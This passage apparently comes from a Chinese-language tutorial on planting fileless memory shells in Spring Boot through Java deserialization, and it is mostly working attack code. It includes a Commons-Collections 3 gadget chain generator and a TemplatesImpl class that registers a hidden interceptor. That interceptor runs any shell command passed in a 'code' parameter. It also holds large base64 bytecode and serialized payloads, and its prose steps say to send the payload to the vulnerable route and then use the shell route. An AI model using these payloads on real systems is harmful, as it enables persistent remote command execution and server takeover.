VsZUhRQkFBTW9LVm9CQUFSdVpYaDBBUUFGWTJ4dmMyVUJBQVYzY21sMFpRRUFGU2hNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVmdFQUJXWnNkWE5vQVFBSmMyVnVaRVZ5Y205eUFRQUVLRWtwVmdBaEFDQUFJUUFBQUFBQUFnQUJBQ0lBSXdBQkFDUUFBQUF2QUFFQUFRQUFBQVVxdHdBQnNRQUFBQUlBSlFBQUFBWUFBUUFBQUEwQUpnQUFBQXdBQVFBQUFBVUFKd0FvQUFBQUFRQXBBQ29BQWdBa0FBQUJxQUFHQUFnQUFBQ3pLeElDdVFBREFnQk9MTGtBQkFFQU9nUXR4Z0NURWdVNkJSSUd1QUFIdGdBSUVnbTJBQXFaQUNHN0FBdFpCcjBBREZrREVnMVRXUVFTRGxOWkJTMVR0d0FQT2dhbkFCNjdBQXRaQnIwQURGa0RFaEJUV1FRU0VWTlpCUzFUdHdBUE9nYTdBQkpaR1FhMkFCTzJBQlMzQUJVU0ZyWUFGem9IR1FlMkFCaVpBQXNaQjdZQUdhY0FCUmtGT2dVWkI3WUFHaGtFR1FXMkFCc1pCTFlBSEJrRXRnQWRwd0FNTEJFQmxMa0FIZ0lBcHdBRVRyRUFBUUFBQUs0QXNRQWZBQU1BSlFBQUFFb0FFZ0FBQUJBQUNRQVJBQkVBRWdBVkFCTUFHUUFWQUNrQUZnQkhBQmdBWWdBYkFIZ0FIQUNNQUIwQWtRQWVBSmdBSHdDZEFDQUFvZ0FoQUtVQUlnQ3VBQ1lBc1FBa0FMSUFKd0FtQUFBQVhBQUpBRVFBQXdBckFDd0FCZ0FaQUlrQUxRQXVBQVVBWWdCQUFDc0FMQUFHQUhnQUtnQXZBREFBQndBSkFLVUFNUUF1QUFNQUVRQ2RBRElBTXdBRUFBQUFzd0FuQUNnQUFBQUFBTE1BTkFBMUFBRUFBQUN6QURZQU53QUNBRGdBQUFBcEFBaitBRWNIQURrSEFEb0hBRG44QUJvSEFEdjhBQ1VIQUR4QkJ3QTUrQUFhK1FBSVFnY0FQUUFBUGdBQUFBa0NBRFFBQUFBMkFBQUFBUUEvQUFBQUFnQkEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDACXAJgBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9TdHJpbmcHAJkMAJoATAwAmwCcBwCdDACeAJ8HAKAMAKEAogwAowCkAQAQamF2YS9sYW5nL09iamVjdAEAOW9yZy5jbG93bi5zcHJpbmdib290bWVtb3J5c2hlbGwuY29udG9ybGxlci5UZXN0Q29udHJvbGxlcgwApQCmDACnAKgMAKkAqgcAqwwArACtBwCuDACvALABABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAEkluc3RhbmNlIGNyZWF0ZWQ6IAwAsQCyDACxALMMALQAtQcAtgwAtwC4BwC5DAC6ALsBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHALwMAL0AvgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEABi9zaGVsbAwALwC/AQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwALwDAAQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwAwQDCDADDAMQMAMUAxgEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMcAMAEAGmNvbS9jbG93bi9Db250cm9sbGVyQmVoaW5kAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA5nZXRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAD3JlZ2lzdGVyTWFwcGluZwEAbihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbztMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAPcHJpbnRTdGFja1RyYWNlACEALQAuAAAAAAAEAAEALwAwAAEAMQAAAC8AAQABAAAABSq3AAGxAAAAAgAyAAAABgABAAAAEQAzAAAADAABAAAABQA0ADUAAAABADYANwADADEAAAA/AAAAAwAAAAGxAAAAAgAyAAAABgABAAAALAAzAAAAIAADAAAAAQA0ADUAAAAAAAEAOAA5AAEAAAABADoAOwACADwAAAAEAAEAPQA+AAAACQIAOAAAADoAAAABADYAPwADADEAAABJAAAABAAAAAGxAAAAAgAyAAAABgABAAAAMQAzAAAAKgAEAAAAAQA0ADUAAAAAAAEAOAA5AAEAAAABAEAAQQACAAAAAQBCAEMAAwA8AAAABAABAD0APgAAAA0DADgAAABAAAAAQgAAAAgARAAwAAEAMQAAAfsACQALAAAA7BICS7sAA1m3AAQqtgAFTBIGEgcHvQAIWQMSCVNZBBIKU1kFsgALU1kGsgALU7YADE0sBLYADSy4AA62AA8HvQAQWQMSEVNZBCtTWQUDuAASU1kGK764ABJTtgATwAAITi0DvQAItgAUOgQZBAO9ABC2ABU6BbIAFrsAF1m3ABgSGbYAGhkFtgAbtgActgAduAAeEh8DuQAgAwDAACE6BrsAIlkEvQAJWQMSI1O3ACQ6B7sAJVkZBwEBAQEBAbcAJjoIGQYSJ7kAKAIAwAAnOgkttgApAzI6ChkJGQgZBRkKtgAqpwAISyq2ACyxAAEAAADjAOYAKwAEADIAAABKABIAAAAUAAMAFQAPABYAMQAXADYAGABgABkAagAaAHUAGwCPABwAnwAdALEAHgDCAB8A0AAhANgAIgDjACUA5gAjAOcAJADrACcAMwAAAHoADAADAOAARQBGAAAADwDUAEcASAABADEAsgBJAEoAAgBgAIMASwBMAAMAagB5AE0ATgAEAHUAbgBPAFAABQCfAEQAUQBSAAYAsQAyAFMAVAAHAMIAIQBVAFYACADQABMAVwBYAAkA2AALAFkASgAKAOcABABaAFsAAABcAAAAFgACAGAAgwBLAF0AAwBqAHkATQBeAAQAXwAAAAkAAvcA5gcAYAQAAQBhAAAAAgBicHQAA2FhYXB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgAt

然后传给漏洞路由,记得url编码一下

image-20241114161649942

然后现在就是成功打入了,返回error是链子反序列化的时候抛异常但是代码已经是执行了的

现在访问shell路由就可以执行任意命令了

image-20241114161757835

反序列化利用Interceptor

这里的利用也类似,那就走一遍流程

要注册的Interceptor

package org.clown.springbootmemoryshell.interceptor;


import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
p.redirectErrorStream(true);
Process process = p.start();
BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream()));
String result = "";
StringBuilder results=new StringBuilder();
while((result=r.readLine())!=null){
results.append(result+"\r\n");
}
System.out.println(results);
writer.println(results);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}

TemplatesImpl恶意类

package com.clown;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.List;

public class InterceptorDes extends AbstractTranslet {
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
AbstractHandlerMapping mappingHandlerMapping = context.getBean(AbstractHandlerMapping.class);
Field field = null;
try {
field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
} catch (NoSuchFieldException e) {
e.printStackTrace();
}
field.setAccessible(true);
List<HandlerInterceptor> adaptInterceptors = null;
try {
adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
String code ="yv66vgAAADQArAoAKABeCABFCwBfAGALAGEAYggAYwoAZABlCgALAGYIAGcKAAsAaAcAaQcAaggAawgAbAoACgBtCABuCABvCgAKAHAKAAoAcQcAcgcAcwoAdAB1CgAUAHYKABMAdwgAeAcAeQoAGQBeCgATAHoKABkAewgAfAoAGQB9CQBkAH4KAH8AgAoAgQCACgCBAIIKAIEAgwcAhAsAKQCFCwApAIYHAIcHAIgHAIkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAPUxvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAFyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVzdWx0cwEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABGNvZGUBAA1TdGFja01hcFRhYmxlBwBqBwCKBwBpBwCHBwCLBwCMBwCIBwCNBwByBwB5BwCEAQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAPYWZ0ZXJDb21wbGV0aW9uAQB5KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL0V4Y2VwdGlvbjspVgEAAmV4AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAKU291cmNlRmlsZQEAFFRlc3RJbnRlcmNlcHRvci5qYXZhDAAqACsHAIsMAI4AjwcAjAwAkACRAQAHb3MubmFtZQcAkgwAkwCPDACUAJUBAAN3aW4MAJYAlwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACoAmAEACS9iaW4vYmFzaAEAAi1jDACZAJoMAJsAnAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwCNDACdAJ4MACoAnwwAKgCgAQAAAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAKEAlQwAogCjAQACDQoMAKQAlQwApQCmBwCnDACoAKkHAIoMAKoAKwwAqwArAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAVABVDABYAFkBADtvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcgEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABFqYXZhL2xhbmcvUHJvY2VzcwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABWZsdXNoAQAFY2xvc2UAIQAnACgAAQApAAAABAABACoAKwABACwAAAAvAAEAAQAAAAUqtwABsQAAAAIALQAAAAYAAQAAAAwALgAAAAwAAQAAAAUALwAwAAAAAQAxADIAAwAsAAACJwAGAAsAAADcKxICuQADAgA6BBkExgDOLLkABAEAOgUSBbgABrYABxIItgAJmQAiuwAKWQa9AAtZAxIMU1kEEg1TWQUZBFO3AA46BqcAH7sAClkGvQALWQMSD1NZBBIQU1kFGQRTtwAOOgYZBgS2ABFXGQa2ABI6B7sAE1m7ABRZGQe2ABW3ABa3ABc6CBIYOgm7ABlZtwAaOgoZCLYAG1k6CcYAIBkKuwAZWbcAGhkJtgAcEh22ABy2AB62ABxXp//bsgAfGQq2ACAZBRkKtgAhGQW2ACIZBbYAI6cABToFA6wErAABAA8A0wDWACQAAwAtAAAAVgAVAAAADwAKABAADwASABcAFAAnABUARgAXAGIAGQBpABoAcAAbAIUAHACJAB0AkgAeAJ0AHwC6ACEAwgAiAMkAIwDOACQA0wAmANYAJQDYACcA2gApAC4AAAB6AAwAQwADADMANAAGABcAvAA1ADYABQBiAHEAMwA0AAYAcABjADcAOAAHAIUATgA5ADoACACJAEoAOwA8AAkAkgBBAD0APgAKAAAA3AAvADAAAAAAANwAPwBAAAEAAADcAEEAQgACAAAA3ABDAEQAAwAKANIARQA8AAQARgAAAFUAB/0ARgcARwcASPwAGwcASf8ALwALBwBKBwBLBwBMBwBNBwBHBwBIBwBJBwBOBwBPBwBHBwBQAAAn/wAbAAUHAEoHAEsHAEwHAE0HAEcAAQcAUQEBAFIAAAAEAAEAJABTAAAADQMAPwAAAEEAAABDAAAAAQBUAFUAAwAsAAAAYAAFAAUAAAAKKissLRkEtwAlsQAAAAIALQAAAAoAAgAAAC4ACQAvAC4AAAA0AAUAAAAKAC8AMAAAAAAACgA/AEAAAQAAAAoAQQBCAAIAAAAKAEMARAADAAAACgBWAFcABABSAAAABAABACQAUwAAABEEAD8AAABBAAAAQwAAAFYAAAABAFgAWQADACwAAABgAAUABQAAAAoqKywtGQS3ACaxAAAAAgAtAAAACgACAAAAMwAJADQALgAAADQABQAAAAoALwAwAAAAAAAKAD8AQAABAAAACgBBAEIAAgAAAAoAQwBEAAMAAAAKAFoAWwAEAFIAAAAEAAEAJABTAAAAEQQAPwAAAEEAAABDAAAAWgAAAAEAXAAAAAIAXQ==";
byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code);
java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
m.setAccessible(true);
Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.interceptor.TestInterceptor", d, 0, d.length});
Constructor<?> constructor = clazz.getConstructor();
HandlerInterceptor evilInterceptor = (HandlerInterceptor) constructor.newInstance();
adaptInterceptors.add(evilInterceptor);
}catch (Exception e){
e.printStackTrace();
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

}

cc3链子

package com.clown;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3Interceptor {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//利用反射设置需要满足的值
Class c=templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("InterceptorDes.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//这里的赋值在序列化的时候就不需要了
// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
// Transformer transformer = templates.newTransformer();
//结合前面的链子串联起来,随便一个都行
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> map=new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c1.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) annotation.newInstance(Override.class,lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler);
Object o = annotation.newInstance(Override.class, proxyMap);
System.out.println(serialize(o));
// unserialize("ser.bin");
}
public static String serialize(Object obj)throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(byteArrayOutputStream);
new ObjectOutputStream(new FileOutputStream("ser.bin")).writeObject(obj);
oos.writeObject(obj);
oos.close();
byte[] bytes = byteArrayOutputStream.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
}
public static Object unserialize(String Filename)throws Exception{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object obj=ois.readObject();
return obj;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABhMAAVfbmFtZXQAEk